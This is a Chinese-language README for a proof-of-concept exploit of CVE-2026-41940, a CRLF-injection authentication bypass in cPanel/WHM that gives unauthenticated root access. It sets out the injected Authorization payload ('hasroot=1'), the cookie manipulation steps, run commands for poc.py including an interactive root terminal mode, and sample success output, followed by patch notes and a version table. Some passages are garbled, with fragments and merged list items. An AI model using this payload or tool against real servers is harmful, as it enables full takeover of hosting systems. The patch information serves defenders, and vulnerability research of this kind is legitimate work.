作者: SilySec
原始研究: Sina Kheirkhah (@SinSinology) / watchTowr Labs
严重性: 严重(CVSS 9.8)
类型: CRLF 注入 → 身份验证绕过 → root Shell
CVE-2026-41940 是 cPanel/WHM 中的一个严重漏洞,允许未认证的攻击者通过 cpsrvd 的 Basic 身份验证管理器中的 CRLF 注入获得完整的 root 访问权限。
该漏洞结合了三个弱点:
<ob> 键时,Cpanel/Session.pm 中的 saveSession() 函数在写入磁盘前未对 \r\n 字符进行清理。<obHEX> 段,按会话编码器不会激活,导致 CRLF 字节以明文形式写入会话文件。Cpanel::Session::Modify::save() 重新读取原始文件并将注入的 CRLF 键提升到 JSON 缓存中,使会话完全通过身份验证。POST /login/?login_only=1 [错误密码]
└─► cookie: whostmgrsession=:ID,<obHEX>
删除 ,<obHEX> → :ID [禁用编码器]
GET / + Cookie: :ID
+ Authorization: Basic root:x\r\nhasroot=1\r\n...
└─► cpsrvd 将原始 CRLF 字节写入会话文件
GET /scripts2/listaccts + Cookie: :ID [无安全令牌]
└─► do_token_denied() → Cpanel::Session::Modify::save()
└─► JSON 缓存以 hasroot=1, tfa_verified=1 重建
→ 会话以 root 身份通过验证
pip install requests
# 对于 --terminal 模式(可选):
pip install paramiko
python3 poc.py --target https://TARGET:2087
python3 poc.py --target https://TARGET:2087 --terminal
python3 poc.py --target https://1.2.3.4:2087 --hostname cpanel.example.com
[*] target : https://1.2.3.4:2087
[*] canonical: cpanel.example.com
[1/4] minting preauth session ...
session = :AbCdEfGh...,0123456789abcdef
stripped = :AbCdEfGh...
[2/4] injecting CRLF payload ...
307 → leaked token = /cpsess1234567890
[3/4] triggering cache propagation ...
do_token_denied → Cpanel::Session::Modify::save() fired
[4/4] verifying root access ...
✔ AUTH BYPASS CONFIRMED
cPanel version : 11.136.0.5
cookie : whostmgrsession=%3AAbCdEfGh...
WHM URL : https://1.2.3.4:2087/cpsess1234567890/
Host 头(而非 IP)— cpsrvd 根据主机名以不同方式处理会话9999999999(固定值,遥远的未来)— 当前时间戳会失败successful_internal_auth_with_timestamp 必须放在第一位该补丁将 filter_sessiondata() 的调用移至 saveSession() 内部,并在 <ob> 键缺失时添加条件编码,防止任何明文写入。
立即将 cPanel/WHM 更新至上述列出的修复版本。
此工具仅供研究和内部测试使用。在未经明确授权的系统上使用属于违法行为。SilySec 对任何滥用行为不承担任何责任。
| 分支 | 最后一个受影响版本 | 修复版本 |
|---|
| 110.0.x | 11.110.0.96 | 11.110.0.97 |
| 118.0.x | 11.118.0.62 | 11.118.0.63 |
| 126.0.x | 11.126.0.53 | 11.126.0.54 |
| 132.0.x | 11.132.0.28 | 11.132.0.29 |
| 134.0.x | 11.134.0.19 | 11.134.0.20 |
| 136.0.x | 11.136.0.5 | 11.136.0.6 |